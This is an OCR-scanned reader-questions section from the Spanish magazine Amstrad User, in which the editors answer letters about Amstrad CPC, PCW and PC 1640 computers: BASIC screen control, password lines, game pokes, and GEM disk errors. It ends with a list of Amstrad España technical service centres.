5. El juego que nos co- 
menlas seguramente esta ya 
fuera de catalogo. A lo me- 
jor lo encuentras en Coconut 
o Power Line. 


CPC 


% , oy poseedor de un CPC 
6128 y tengo una duda res- 
pecto al volcado de pantallas 
que sale en el numero del 
mes de julio: 

El programa al estar en 
Codigo Maquina he intenta- 
do meterlo en mi ordenadnr 
y me dijeron que tema que 
disponer de un ensambla- 
dor, para meter los eddigos 
que hay antes de los de cada 
numero de linea, ya que io 
intente meter taly como esta 
escrito, y me salia «SINTAX 
ERROR»; si es verdad que 
necesito este ensamblador, 
ya que mis conocimientos en 
informatica son muy esca- 
sos, les pediria, por favor, si 
pueden proporcionarme 
uno. (Me da igual que sea en 
cinta o en disco.) 

Si pueden envidrmelo les 
agradeceria que lo hicieran 
por medio de cotrarrembol- 
so. 

Vicente Piera Nieto 
(Barcelona) 


Si como nos cuentas, tus 
conocimientos en informati¬ 
ca son escasos, nosotros te 
aconsejariamos que teclea- 
ses directamente los listados 
2 y 3 (pagina 56), funciona- 
ra correctamente, ya que el 
LISTADO 1 esta escrito en 
lenguaje ENSAMBLADOR 
(Codigo Maquina) y tiene 
como funcion que los enten- 
didos en Ensamblador pue- 
dan ver como se ha hecho el 
programa e incluso modi- 
ficarlo. 

Respecto a tu ultima peti¬ 
tion, sentimos no poder 
complacerte. Quiza puedas 
encontrarlo en alguna tienda 
especializada. 


PCW 


F 

immstirnados amigos de 
Amstrad User: 

Soy propietarla de un 
PCW 8256 y me gustaria que 
me aclararan algunas dudas: 

iSe puede, en Basic, ha- 
cer algun programa para ha¬ 
ce! musica? 

iComo se borra la panta- 
lla?, y, por ultimo, yse pue- 
de incorporar un joystick? 
IHay algun juego para uti- 
lizarlo? 


Erika Fernandez 
(Huesca) 

En Basic si podemos ha- 
cer programas de musica, el 
unico iriconvenienle que te- 
nemos es que debido a las 
pocas posibilidades que tie- 
nen los PCW en sonido, tan 
solo podemos hacer combi- 
naclones con el unico soni¬ 
do que hay CHRS(7). 

La pantalla se borra con 
PRINT CHR$(27)- 1 ”E"-,CHR 
$(27);”H" y si lo que quie¬ 
res es ahorrar espacio en un 
programa puedes definlrte 
la variable CLS$ al principio 
del programa de la siguiente 
forma: 

Cl S$ = CHR$(27) + 
"E" + CHR$(27) + "H” y 
cuando quieras borrar la 
pantalla escribes PRINT 


■ 
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CLS$ y la pantalla se borra- 
ra. 

Si puedes incorporarle un 
joystick al PCW. En concre- 
to existe en el mercado el 
joystick Kempston, que io 
puedes encontrar en tiendas 
que tengan material de infor- 
matica. En el mercado ya 
existen varios juegos que 
utilizan este joystick. 


PCW 


Estimados amigos: 

Poseo un Amstrad 
PCW-8256 y desearia hacer- 
les algunas preguntas sobre 
su tuncionamiento. 

Prirnero, me gustaria sa¬ 
ber como puedo hacer grafi- 
cos en Locoscript. Tambien 
quiero preguntarles como 
puedo sacai los voicados de 
pantalla mediante las techas 
Mays+Extra+ Impr de un ta- 
mano mayor a I que salen. Y, 
por ultimo , tambien me gus- 
tarfa saber como puedo pro- 
teger un programs con una 
clave para que solo las per¬ 
sonas que yo quiera puedan 
acceder a el. 

Juan Antonio Gonzalez 
(Salamanca) 

Locoscript no admite la 
posibilidad de crear graficos, 
tan solo te deja que utilices 
los caracteres que se pueden 
introducir rnediante teclado, 

A tu segunda pregunta te 
podemos decir que los voi¬ 
cados de pantalla que realiza 
el PCW son de formato fijo 
y no se pueden ni aumentar 
ni disminuir. De todas for¬ 
mas, si tu quieres arnpliarlo, 
en este numero publicamos 
un volcador de pantallas a 
tamano normal que espero 
que te sea de ayuda. 

Para proteger un progra- 
ma con una clave para que 
solo las personas que tu di¬ 
gas accedan a el deberas in¬ 
troducir al principio del pro- 
grama unas Ifneas en las que 
pidan una clave y comprue- 
be si la clave es verdadera. 


Despues salvas el programs 
con la forma: SAVE ’ progra¬ 
ms. bas", p y ya tieries tu 
programs protegido median¬ 
te una clave que te pedira 
cuando intentes ejecutarlo. 

Aqui tienes un ejemplo de 
las Ifneas que debes de po 
ner al principio del programs 
para que te pida y comprue- 
be la clave: 

10 INPUT Clave de Acce- 
so: ";claveS 

20 IF clave$o"PEPE" 
THEN PRINT "Clave erro- 
nea" : END 


CPC 


I engo un CPC 6128 y es- 
toy cuestionandome cam- 
biarlo por un PCW 8256 . En 
relacion con este tema de¬ 
searia saber si todo el soft¬ 
ware desarrollado para el 
CPC 6128 corn en el PCW 
8256 y viceversa, y con que 
iimitaciones. 

He detectado prohlemas 
en ambos sentidos, pern 
considerando mas logico los 
problemas encontrados al 
intentar corner en el CPC 
6128 los programas hechos 
para el PCW8256, deseo sa¬ 
ber si con algunos arreglos 
se puede solucionar este 
problems y cuales serian es- 
tos arreglos. 

Tambien desearia me faci- 
litasen un esquerna detaliado 
de los circuitos electricos de 
ambos modelos con indica- 
cion de las direcciones de la 
memoria ROM, perifericos, 
memoria de pantalla, memo- 
ria RAM, range de memoria 
para el uso del S. 0., et¬ 
cetera. 

Francisco Mfnguez Molina 
(Valencia) 

Respecto a tu primera 
pregunta, podemos decide 
que el AMSTRAD 6128 no es 
compatible con el PCW 
8256, e intentar hacer cam 
bios en el programs seria de 
lo mas complicado, a no ser 
que se tratase de un progra¬ 
ms BASIC, lo que facilitaria 
la conversion. 


Seguramente ericontraras 
respuesta a tu segunda pre¬ 
gunta en algunos numeros 
atrasados de AMSTRAD 
USER. 



\Joy suscriptor de AMS 
TRAD USER y deseo plantea - 
ros algunas dudas que espe¬ 
ro que me podais resolver: 
poseo un PC 1640 SD, mo¬ 
nitor MM, y no me funcio- 
nan la mavona de los jue¬ 
gos. cPodrfais aclararme 
cual es el motivo? 

lEste modelo lleva la tar- 
jeta Hercules, CGA o EGA? 

Si es el monitor, y existe 
algun adaptador o cable para 
conectar la unidad central 
del PC al televisor? y.Donde 
puedo adquirirlo? 

Jose A. Costumero 
Leganes (Madrid) 

Todos los PC 1640. ya 
sean MM, CM o ECD, con 
tienen un adaptador grafico 
capaz de trabajar en los mo 
dos Hercules, CGA y EGA. 
Sin embargo, el monitor de 
termina los mudos graficos 
en que funcionara el PC. Asf, 
los usuarios de los PC 1640 
MM unicamente podran uti 
lizar el modo Hercules y el 
modo EGA monocromatico. 

Ld mayorla de los juegos 
para compatibles PC tueron 
escritos para el modo grafi¬ 
co CGA y no soportan el 
modo Hercules por lo que 
no funcionaran en el PC 
1640 MM. No obstante, 
Amstrad Espana entrega con 
estos equipos un programs 
que emula !a CGA sobre la 
Hercules, permitiendo la eje- 
cucion de algunos de estos 
juegos en los PC 1640 MM. 
Si no oosees este programs, 
te recomendamos que te 
pongas en contacto con el 
Departamento Tecnico de 
Amstrad Espana, donde po¬ 
dran tacilitartelo. 

Respecto a tu segunda 
pregunta, existe una tarjeta 


mediante la cual es posible 
conectar el PC a un televisor. 
Desgraciadamente. su pre- 
cio supers las 150.000 pese¬ 
tas. Si a oesar de ello sigues 
interesado en este tema, 
puedes conseguir mas infor- 
macion poniendote en con¬ 
tacto con: CTI. Guzman el 
Bueno, 133 (Edificio Britan¬ 
nia). Tel. (91) 442 21 99. 
28033 Madrid. 


CPC 


I # e dacidido hacer llegar 
esta carta hasta ustedes para 
ver si me podfan ayudar en 
tres cargadores que salieron 
en la revista AMSTRAD num. 
27, en diciembre de 1987 
(pagina 75). 

En el apartado de pokes a 
mogollon, dedicada al CPC, 
he visto. afortunadamente, 
que venian los pokes de los 
tres juegos siguientes: 

- EL BOMB JACK I 

— EL AIRWULLF 

— EL KUNGFU-MASTER 

Y desearia saber que es lo 
que deberia hacer para sal- 
var los tres juegos, cada uno 
por separado. como he vis¬ 
to con el del Game Over pri¬ 
mera y segunda parte. 

Enrique Mordenti Aldama 
(Madrid) 

En el numero 27 de AMS¬ 
TRAD USER se dio una gran 
lists de pokes bajo el nom- 
bre de: POKES A MOGO¬ 
LLON. Estos pokes podfan 
introducirse en sus corres- 
pondientes juegos de dos 
formas: 

1 Si el juego esta des- 
protegido, delante del ultimo 
CALL del primer programa 
BASIC. 

2. Con un MULTIFACE 
TWO 0 con un TRANSTAPE. 

Otra de las formas (como 
nos cornentas) es realizando 
un cargador. Pero el proble¬ 
ma que este nos presents es 
que necesitamos unos cono- 
cimientos previos del Codigo 
Maquina y no todos los car¬ 
gadores son iguales; cada 
uno es distinto del otro. 
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M llamo Javier y po- 
seo un Amstrad 
PC 1640 MM. Tengo un 
problems gue no logro solu- 
cionar. oor lo cual me he de- 
cidido a escribirles para ver 
si lo solucionan, puesto que 
yo lo he intentado ds varias 
maneras sin conseguirlo. 

Desde hace cusa de un 
mes encuentro problemas 
para cargar el entorno GEM 
y trabajar con el. Unas veces 
lo consigo, pero al tercer o 
cuarto intento, jamas a la 
primera. aunque la mayoria 
de las veces tengo que aban- 
donar sin conseguirlo. 

Paso a explicates los pa- 
sos que sigo para la carqa de 
GEM, asf como los mensa 
jes de error que se muestran 
en pantalla. 

— Cargo el sistema ope¬ 
rative (disco 1). 

— Llamo a GEM y se me 
pide que introduzca el dis¬ 
kette 2 de carga de GEM en 
la unidad A. 

— Introduzco el disco de 
carga de GEM y es ahi dorr 
de comienzan los proble¬ 
mas, pues me sale un men- 
saje de error que dice literal 
mente «.Anomalia de t/po ge¬ 
neral. Error leyendo en la 
unidad A. Abandonar, Rein- 
ten tar o lgnorar». 

Si pulso las letras R de 
reintentar o I de ignorar, me 
sigue dando el mismo men- 
saje de error. Si pulso la A 
de abandonar aparece otro 
mensaje de error, volviendo 
acto seguido al inductor del 
sistema. 


Javier Saiz Real 
Cuenca 

El problema que describes 
en tu carta es un tfpico ejem- 
pio de lo que ocurre cuando 
nos encontramos ante un 
diskette defectuoso En un 
caso como este, si hemos 
tenido la precaucion de tra¬ 
cer una copia de seguridad 
de los originales, la mejor 
solucion es deshacerse del 


diskette que causa los pro¬ 
blemas, obtener una nueva 
copia del original corres- 
pondiente y, a partir de ese 
instante, trabajar con la 
nueva copia. 

Si, siguiendo los consejos 
del manual de tu PC y los 
oue tan a menudo aparecen 
en AMSTRAD USER has he- 
cho copia de seguridad de 
los diskettes que te entrega- 
ron con el ordenador, no en- 
eontraras ninguna dificultad. 
Si, por el contrario, el disco 
que se muestra defectuoso 
es el original y no tienes co¬ 
pia , te sugerimos que te di- 
rijas al establecimiento don- 
de adquiriste el PC y les so- 
licites una copia de dicho 
diskette. Si ellos no pudieran 
atenderte, ponte en contacto 
con el Departamento Teeni- 
co de Amstrad Esparia. Y re- 
cuerda que el primer paso 
que debes dar antes de utilj- 
zar cualquier programa es 
reaiizar una copia de seguri¬ 
dad del mismo. 


I engo desde junio un 
Amstrad PC 1640 y me gus- 
taria aclarar una duda muy 
grande. Hasta ahora he he- 
cho un curslllo de BASIC, 
pero en un ordenador mucho 
mas sencillo Agradeceria 
que me explicarais como ha- 
cer paso a paso para ejecu- 
iar cualquier programa de 
BASIC. 

Rosa Maria Garcia 
Barcelona 

Lo primero que debes sa¬ 
ber es que, a diferencia de lo 
que habras visto en otros or- 
denadores mas elementales, 
en el PC no hay un unico len 
guaje BASIC, sino que exis- 
ten varias implementaciones 
del mismo, en ocasiones 
con grandes diferencias en- 
tre si. 

No sabemos si te refieres 
al BASIC 2, que se entrega 
con los Amstrad PC 1512 y 
PC 1640, o al GW-BASIC, la 
version mas utilizada en los 
compatibles PC. Ademas de 
estos dos existen otros mu- 
ehos interpretes y eompila- 


dores de BASIC para compa¬ 
tibles PC, los mas destaea- 
bles son, a nuestro juieio, 
Turbo BASIC de Borland y 
QuickBASIC de Microsoft. 

Suponiendo que te refie 
ras al BASIC que te entrega- 
ron con el ordenador, el pro¬ 
cedi miento para ejecutar 
programas es, a grandes 
rasgos, el siguiente: en pri¬ 
mer lugar, arraneamos el or 
denador enn el sistema ope 
rativo MS-DOS. A continua- 
cion, cargamos el entorno 
grafico GEM, siguiendo las 
instrucciones que figuran en 
el manual del ordenador y 
las que apareceran en panta 
lla. Despues, ya desde GEM 
cargamos el interprete de 
BASIC 2, utilizando para ello 
el ratdn, que lievaremos so- 
bre el icono etiquetado como 
BASIC 2, pulsando dos ve 
ces en rapida sucesion sobre 
el. De este modo, entrare- 
mos en el interprete de BA¬ 
SIC 2, desde el que podre- 
mos cargar y ejecutar cual¬ 
quier programa escrito en 
este lenguaje. El metodo a 
emplear esta descrito en el 
Manual del Usuario que te 
entregaron con el PC, y con- 
siste basicamente en situar 
el cursor sobre la opcion Fi- 
cheros de la barra de menus, 
seleccionando a continua- 
cidn la orden Cargar. Al ele- 
gir esta opcion, GEM mos- 
trara el recuadro selector de 
elementos, mediante el cual 
se puede elegir el fichero en 
que esta grabado el progra¬ 
ma que se desea cargar. Por 
ultimo, en el menu de Pro¬ 
gramas seleccionaramos la 
orden Ejecutar, con lo que 
comenzara la ejecucion del 
programa previamente car- 
gado. 


Km/oy un habitual lector de 
su revista. Me dirijo a uste- 
des para que me resuelvan, 
si es posible, una pequeria 
cues fid n acerca de mi orde¬ 
nador Amstrad PC 1640. 

Cuisiera saber si exists al- 
gun modo de obtener el nu¬ 
mero de serie del ordenador 
mediante software, ya sea 


leyendo una direccion de 
memoria desde BASIC, me¬ 
diante codigo maquina, et¬ 
cetera. 

Les agradeceria que me 
resolvieran esta duda y apro- 
vecho para felicitates por su 
magnifies revista. 

Nicolas Luna 
Sevilla 


Que nosotros sepamos, 
es imposible averiguarel nu- 
mero de serie de tu PC 1640 
mediante software. A lo 
sumo, podrfas conseguir el 
numero correspondiente a la 
version de la ROM, pero 
nuncael numero de serie. En 
cualquier caso, resulta mu- 
cho mas sencillo leer la eti- 
queta que se encuentra en la 
zona posterior de la unidad 
central, que entre otros da¬ 
tes, contine el numero de 
serie de tu ordenador. 




PCW 


I engo un ordenador 
PCW 8256 desde las Navi- 
dades pasadas y me gusta- 
rfa que me aclararan algunas 
dudas: 

— En el programa de Lo- 
coscript, despues de hacer 
una carta y graharla, ic6mo 
puedo volver a acceder a ella 
para ser nuevamente listada 
por impresora? i Puedo ac¬ 
ceder de nuevo a ella pulsan¬ 
do la tecla E (de editar tex- 
to) sin estropeata? 

— En algunos programas 
que figuran en las revistas 
aparecen las sentencias: DEF 
FNATS (X.Y) ~-CHRS(27) + 
”Y"+... es una abreviacion 
de las instrucciones: 

BS = CHRS(27) +“E" 
+CHR$(27) +"H" 

MOV$ =CHR$(27)+"Y" 

Mi ordenador no acepta la 
instru colon LOCATE, por lo 
que se hace muy extenso 
cada vez que tengo que im- 
primir en la pantalla. iComo 
puedo hace to mas coto? 
Ej.: PRINT MO VS; 
C H R $ ( 3 2 + 5 ) : 
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CHR§(32 +20); "MENU DE 
TRABAJO" 

iEsta sen tend a se puede 
hacer mas breve mediante 
DEFFNATS? 

— iFI ordenador 
PCW 8256 esta preparado 
para irabajar con otros ten- 
guajes como COBOL o PAS¬ 
CAL? En caso afirmativo, 
icomo puedo conseguirlo? 

Me despido de ustedes y 
les felicito por el excelente 
trabajo en AMSTRAD USER. 

Nuria Mateu Beltran 
Valencia 

A tu primera pregunta de 
si se puede volver a acceder 
a la carta para imprimirla, se 
puede. Basta con pulsar en 
vez de la E la I de impresidn 
de documentos. Si entras en 
el Editor como dices y quie- 
res salirte dejdndolo como 
estaba antes, no tienes mas 
que hacer que cuando vayas 
a salirte en vez de salir por 
Terminar Edicidn saigas por 
Abandonar Edicidn y te guar' 
dard en el disco lo que ten fas 
antes de entrar. 

— En tu segunda pregun¬ 
ta me parece que tienes un 
pequeno h'o con la funcion 
de LOCATE, ya que en el 
PCW no existe como fun- 
cion. Para localizar en un 
punto de la pantalla te dire 
que lo que debes hacer es la 
de teclear al principio del 
proqrama la funcion: 

DEF FNLQCATES (X Y)= 
chr$(27)+ '7'’+ chr$(32 + 
Y)+ chr$(32+X). 

Una vez que ha sido defi- 
nida al principio del progra- 
ma sdlo tienes que escribir 
cuando quieras situar algo 
en la pantalla: PRINT FNLO- 
CATE$(X,Y) sustituyendo X 
por el valor de la columna e 
Y por e! valor de la fila. 

Un ejemplo: PRINT FNLO- 
CATE$(10,1); "MENU DE 
TRABAJO' . 

— A tu tercera y ultima 
pregunta te dird que el orde¬ 
nador esta preparado. sdlo 
riecesitas ir a una casa de in- 
formatica y pedirles el ien- 
quaje que necesites (COBOL, 
PASCAL, FORTRAN etcete- 



M dirijo a ustedes 

para rogarles me informed 
de lo siguiente: Soy un com¬ 
prador reciente de un orde- 
'nador PCW 8256 Amstrad y 
una impresora. Tengo cator- 
ce anos y estoy comenzando 
estudios de informatics. 

Concretamente, agradece- 
ria me contestaran a estas 
cuestiones: 

a) Cuando yo hago un 
programa en BASIC , gue 
puedo hacer para que yo, 
grabando ese programa en 
un disco, pueda cargarlo sin 
necesidad del CRM-PLUS y 
BASIC. Por ejemplo, encen- 
diendo el ordenador e intro- 
duciendo el disco con la cara 
del programa elaborado y 
pulsando el espaciador. 

b) Como puedo lograr di- 
bujar en el BASIC del 
PCW 8256 haciendo grafi- 
cos con rayas, Ifneas, pun- 
tos, etcdtera. 

c) Como puedo dar dife- 
rentes intensidades o tonali- 
dades a estos graficos que 
haga, en mi pantalla de fos- 
foro verde. 

d) Como puedo hacer to¬ 
ne sy sonidos para mis pro- 
gramas. Soy comprador asi- 
duo de su revista, pern to- 
davfa no puedo suscribirme 
a ella, porgue estoy ahorran- 
do para poder pagarme la 
suscripcion. 

Les doy las gracias por 
sus respuestas a mis cues¬ 
tiones. por adelantado. Mu¬ 
chas gracias y muchos sa- 
ludos. 

Miguel Angel Gimenez Roig 
Barcelona 

— A la primera pregunta 
ie podemos decir que la so- 
lucionesquete creesun dis¬ 
co de arranque automatico. 
donde el fichero PROFI 
LF.SUB contenga como ulti¬ 
ma instruccion BASIC mas el 
nombre de tu programa. Re- 
cuerda que tu programa de 
basic debe de estar tambien 
en ese disco. 

— En cuanto a la segun¬ 
da pregunta te indicamos 
que en el PCW no existen las 


instrucciones DRAW. PLOT, 
etcetera como en otros or- 
denadores, pero en numeros 
anteriores hemos publicado 
algun truco o programa para 
poder hacer graficos. 

— Si quieres dar distin- 
tas tonalidades basta con 
que separes o juntes los 
puntos o Ifneas en el dfbujo. 

— Siempre hemos co- 
mentado que el PCW no 
anda muy bien de sonidos, 
debido a que el unico soni- 
do que tiene es e! pitido de 
alarma que se consique con: 
PRINT CHR$(7). Pero tu 
puedes intentar formar tonos 
combinando pitidos largos 
con cortos. 


CPC 


I # e decidldo hacer llegar 
esta carta hasta ustedes para 
ver si me podian ayudar en 
tres cargadores que salieron 
en la revista AMSTRAD num. 
27, en diciembre de 1987 
(pagina 75). 

En el apartado de pokes a 
mogollon, dedicada a I CPC. 
he visto, afortunadamente, 
que yenian los pokes de los 
tres juegos siouientes: 

- • EL BOMB JACK I 

— EL AIRWOLF 

— EL KUNGFU-MASTER 

Y desearla saber que es lo 
que deberfa hacer para sal- 
var los tres juegos, cada uno 
por separado, como he vis- 
io con el del Game Over pri¬ 
mera y segunda parte. 

Enrique Mordenti Aldama 
(Madrid) 

En el nurnero 27 de AMS¬ 
TRAD USER se dio una grari 
lista de pokes bajo el nom¬ 
bre de: POKES A MOGO¬ 
LLON. Estos pokes podian 
introducirse en sus corres- 
pondientes juegos de dos 
formas: 

1. Si el juego esta oes 
protegido. delante del ultimo 
CALL del primer programa 
BASIC. 


2. Con un MULTIFACE 
TWO o con un TRANSTAPE. 

Otra de las formas (como 
nos comentas) es realizando 
un cargador. Pero el proble- 
ma que este nos presents es 
que necesitamos unos cono- 
cimlentos previos del Codigo 
Maguina y no todos los car¬ 
gadores son iguales; cada 
uno es distinto de otro. 


I engoun CPC6128yes- 
toy cuestionandome cam- 
biarlo por un PCW 8256. En 
relacion con este tema de- 
searia saber si todo el soft¬ 
ware desarrollado para el 
CPC 6128 cone en el PCW 
8256 y viceversa, y con qud 
limitaciones. 

He detectado problemas 
en ambos sentidos, pero 
considerando mas logico los 
problemas encontrados al 
intentar corner en el CPC 
6128 los programas h echos 
para el PCW 8256, deseo sa¬ 
ber si con algunos arreglos 
se puede solucionar este 
problema y cuales serfan es¬ 
tos arreglos. 

Tambien desearla me faci- 
litasen un esquema detallado 
de los circuitos electricos de 
ambos modelos con indica- 
cidn de las direcciones de la 
memoria ROM, perifericos, 
memoria de pantalla, memo¬ 
ria RAM. rango de memoria 
para el uso del S. 0., et¬ 
cetera. 

Francisco Mfnguez Molina 
(Valencia) 

Respecto a tu primera 
pregunta, podemos decide 
que el AMSTRAD 6128 no es 
compatible con el PCW 
8256, e intentai hacer cam- 
bios en el programa serfa de 
lo mas complicado, a no ser 
que se tratase de un progra¬ 
ma BASIC, lo que facilitarla 
la conversion. 

Seguramente encontraras 
respuesta a tu segunda pre¬ 
gunta en algunos numeros 
atrasados de AMSTRAD 
USER. 
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ANDALUCIA 


SIERGON ELECTRONICA, S. A. 
Francisco Sierra Hernandez. Univer- 
sidad de Texas. 9, bajo. 04005 Alme- 
ria. Tel. (951) 26 61 94. A.V.M.I. 

ELECTRONICA FARADAY. J. Anto¬ 
nio Berrocal Rodriguez. San Antonio. 
31. 11201 Algeciras. Tel. (956) 
66 60 53 61 12. A.V.M.I. 

VIDEO PAL. Sebastian Baro Cha¬ 
ves. Condesa Villafuente Bermeja, 9. 
11006 Cadiz. Tel. (956) 22 96 03-04. 
A.V.M.I. 

ROFER. Francisco Romero Rubio. 
Doctrina, 28. 11402 Jerez de la Fron¬ 
ted. Tei. (956) 34 10 98. A.V.M. 

M.S.D. Jose A. Navarro. Golondri- 
na, 50, portal 12,1. 0 dcha. 11500 Puer¬ 
to de Santa Maria. Tel. (956) 
85 37 80-42 16. A.V.M.I. 

TELETRONIC. J. A. Trujillo Vera. 
Cazadores de Tarifa. 21. 11360 San 
Roque. Tel. (956) 78 04 43. A.V.M.I. 

COMERCIAL AFRICANA DE CEU¬ 
TA. Jose Enrique Jimenez. Real, 5. 
11701 Ceuta. Tel. (956) 51 42 80. 
A.V.M.I. 

ELECTRONICA MEDICA. Rafael 
Angel Leon Luna. Jose Maria Herre- 
ro, 5, 1* L. 14005 Cdrdoba. Tel. (957) 
23 80 92. A.V.M.I. 

LAVISON ELECTRONICA. Pedro 
Ruiz Carmona. Camino de la Barca, 3 
y 5. 14010 Cordoba. Tel. (957) 
26 28 28-84 84. A.V.M. 

CONTROL MECANIZACION Y SIS- 
TEMA PEDRO LUIS MUNOZ. Conde 
de Torres Cabrera, 9.14001 Cdrdoba. 
Tel. (957) 47 46 80. A.V.M.I. 

INFORBASIC. J. Manuel Sanchez 
Manas. Plaza Trinidad, 9.18800 Baza. 
Tel. (958) 70 21 36. A.V.M. 

HECAR. Jose M. Carmona Moren 
te. Avda. Sierra Nevada. 18. 18008 
Granada. Tel. (958) 22 71 85. A.V. 

SERMICRO, S. A. Jose Ruiz. Aben 
Humeya, 10. 18005 Granada. Tel. 
(958) 25 21 94. M.l. 

ION HUELVA, S. A. Jose Mugica. 
Pastillo, 20. 21006 Huelva. Tel. (955) 
22 46 76. A.V.M.I. 

AMARO Y ORTEGA. Fernando 
Amaro Ruiz. Alicante, 10. 23006 Jaen. 
Tel. (953) 25 00 46. A.V. 

C.P.U. INFORMATICA, S. C. Jose 
Rodriguez Rodriguez. Infante don 
Fernando, 152. 29200 Antequera (Ma¬ 
laga). Tel. (952) 84 51 10. A.V.M.I. 

GIESA. J. Antonio Gomez Martin. 
La Union, Ed. Jardin de Recaredo-1 B. 
29640 Fuengirola. Tel. (952) 47 63 22 
A.V.M.I. 


de la Torre. Pasaje Frijiliana. 10, local 
55. 29003 Malaga. Tel. (952) 31 76 65. 
M.l. 

TODOMIKROS. Luis Nunez. Come- 

dias, 10. 29008 Malaga. Tel. (052) 
39 36 95. A.V.M.I. 

OFITRONIC. Pedro A. Gimenez Ho- 
dar. Alvaro de Bazan, 6, 1.° dcha. 
29806 Melilla. Tel. (952) 68 84 10. 
A.V.M.I. 

ELECTRONICA DIGITAL, S. A. 
Francisco Rodriguez. Huerta de la 
Salud, edificio Prado I. 41004 Sevilla. 
Tel. (954) 41 45 11-46 01. M.l. 

INSERT. Emilia Sanchez Macias. 
Evangelista. 69-71. 41010 Sevilla. Tel. 
(954) 45 91 84. M.l. 

SERMICRO, S. A. Pedro Garcia. 
Juan de Vera, 13-B. 41003 Sevilla. 
Tel. (954) 42 34 53. M.l. 

ELANCO, S. A. Fernando Navarro 
Biot. Fernandez de Ribera, 2-B. 41005 
Sevilla. Tel. (954) 63 36 70. A.V.M.I. 


ARAGON 


AUDITEL. Jose Maria Doix. Jose 
Pellicer, 50. 50007 Zaragoza. Tel. 
(976) 38 41 12. A.V. 

ELECTRONICA ARAGON. Miguel 
Angel Arpal Espes. Avda. Madrid, 31. 
50004 Zaragoza. Tel. (976) 43 96 14. 
A.V.M.I. 

INTERVAT. Jose M. Genzor Sole. 
Castelar, 3. 50013 Zaragoza. Tel. 
(976) 59 44 33. A.V.M.I. 

SERMICRO, S. A. Rafael Aured. Be- 
renguer de Bardaji, 56-60. 50010 Za¬ 
ragoza. Tel. (976) 34 57 72. M.l. 


ASTURIAS 


C.M. GONZALEZ AMADOR Y 
OTROS, C. B. Soima. Alonso de Oje¬ 
da, 12. 33208 Gijon. Tel. (985) 
14 38 20. A.V.M.I. 

CANEDO SERVICIO TECNICO. 
Leopoldo Canedo Alvarez. Otero, 13, 
bajo, 33008 Oviedo. Tel. (985) 
22 29 68. A.V.M.I. 

SERMICRO, S. A. Miguel Angel 
Alonso. Montes Gamonal, 14. 33012 
Oviedo. Tel. (985) 29 98 02, M.l. 


BALEARES 


REIMICRO. Esteban Gaitano Pu- 
che. Antich,9.bajos.07013 Palma de 
Mallorca. Tel. (971) 23 07 37. A.V.M.I. 

IRTESA ELECTRONICA. Santiago 
Aparicio Fontirroig. Teniente Juan 
Llobera, 29. 07013 Palma de Mallor¬ 
ca. Tel. (971) 28 69 55. A.V. 

SELECTRONIC. Antonio Salvador 
Caules. Mallorca, 20. 07760 Ciudade- 
la (Menorca). Tel. (971) 
38 33 11-29 93. A.V. 


CANARIAS 

AMSTRAD (CANARIAS). Francisco 
J. Garcia Rodriguez. Alcalde Ramirez 
Bethancourt, 17, bajo. 35002 Las Pal¬ 
mas. Tel. (928) 23 11 33. A.V.M.I. 


CANTABRIA 


ELECTROSAN. F. Serna Cabezas 
de Herrera. Isaac Peral, 40. 39008 
Santander. Tel. (942) 37 59 53-04. 
A.V.M.I. 

INFORMATICA OLICAN, S. A^ Isi- 
doro J. Fernandez Munoz. Ruiz Zorri- 
lla, 6, bajo. 39009 Santander. Tel. 
(942) 31 04 14-56. A.V.M.I. 


CASTILLA-LA MANCHA 


ELECTRONICA TURRILLO, S. A. 
Vicente Turrillo Sanchez. Pedrera 
Baja,7.13003 Ciudad Real .Tel .(926) 
22 37 74. A.V.M.i 

TECNIMAN,S.L. Julian Rodriguez. 
Toledo, 117. 13003 Ciudad Real. Tel. 
(926) 22 00 18-89. A.V.M. 

ELECTRONICA LUQUE. Eduardo 
Luque Bravo. Santos Martires, 7. 
45600 Talavera de la Reina. Tel. (925) 
81 42 78. A.V.' 

ELECTRONICA FE-CAR. C. B. Feli¬ 
pe Sanchez-Escobar Garcia. Avda. 
Santa Barbara, 30. 45006 Toledo. Tel. 
(925) 21 21 45-68 27. A.V.M. 

OFIMATICA TOLEDANA, S. A. J. 
Valentin Garcia Villasevil. Esparte- 
ros, 1. 45006 Toledo. Tel. (925) 
22 98 95. M.l. 


CASTILLA-LEON 


REPARACIONES «MAXI» T.V.C. 
Maximo Perez Sanchez. Virgen de la 
Caridad, 4. 05005 Avila. Tel. (918) 
22 78 39. A.V. 

MICROSAT. Juan Carlos Amo 
Saez. Plaza Francisco Sarmiento, 13, 
bajo. 09005 Burgos. Tel. (947) 
22 34 56. A.V.M.I 

DIGITRON. Lucio Sanchez Ramos. 
Batalla de Clavijo, 13. 24006 Leon. 
Tel. (987) 20 33 56. A.V.M.I. 

ELECTRONICA JAVIER. Jose Ja¬ 
vier Garcia Medina. Ramirez, 5. 34005 
Palencia. Tel. (988) 75 03 74. A.V.M. 

JAPAN ELECTRONIC. Fermin San¬ 
chez Sanchez. Plaza de Barcelona, 3, 
bajo A. 37004 Salamanca. Tel. (923) 

24 47 62. A.V.M.I. 

HARD TRONIC, C. B. Fernando Pe¬ 
rez Martinez. Pasion, 5-7, ofic. 1-D. 
47001 Valladolid. Tel. (983) 35 75 45. 
A.V.M.I, 

MICRO-SERVICE SOIMA. Francis¬ 
co Martin. General Shelly, 29, 47013 


SERMICRO, S. A. Antonio Rueda 

NOTA: A =Audie V=Video M = Microinformatica l = lnformatica profesional 

































-I' MICA - AMSTRAD ESPANA SERVICIOS DE ASISTENCIA TECNICA - AMSTRAD ESPANA 


Valladolid. Tel. (983) 47 40 15. 
A.V.M.I. 

SERMICRO, S. A. Javier Sanz. P.° 
Arco Ladrillo, 38. 47007 Valladolid. 
Tel. (983) 27 76 09. M.l. 


CATALUNA 


(La Coruna). Tel. (981) 35 84 32. 
A.V.M.I. 

SERMICRO, S. A. Emilio Pidal. In¬ 
dependence, 28, bajo. 15002 La Co¬ 
runa. Tel. (981) 22 10 12. M.l. 

TELEVEN. Ramiro Perez Gudirio. 
San Jaime, 26, bajo. 15005 La Coru¬ 
na. Tel. (981) 24 43 85. A.V.M.I. 


46002 Valencia. Tel. (96) 352 60 51 
A.V.M.I. 

SERMICRO. Juan Vicente Garrido 
Torreta Miramar, 2, bajo A. 46020 Va¬ 
lencia. Tel. (96) 362 86 02. M.l. 


MADRID 



MADE, S. A. Manel Fons. Ricart, 33. 
08004 Barcelona. Tel. (93) 425 27 33. 
M.l. 

SERMICRO. Narcfs Batlle, Gran Via 
Carlos III, 17-19, tienda 2.08028 Bar¬ 
celona. Tel. (93) 411 07 50-018. M.l. 

TECNIMODUL ELECTRONICA. Ma¬ 
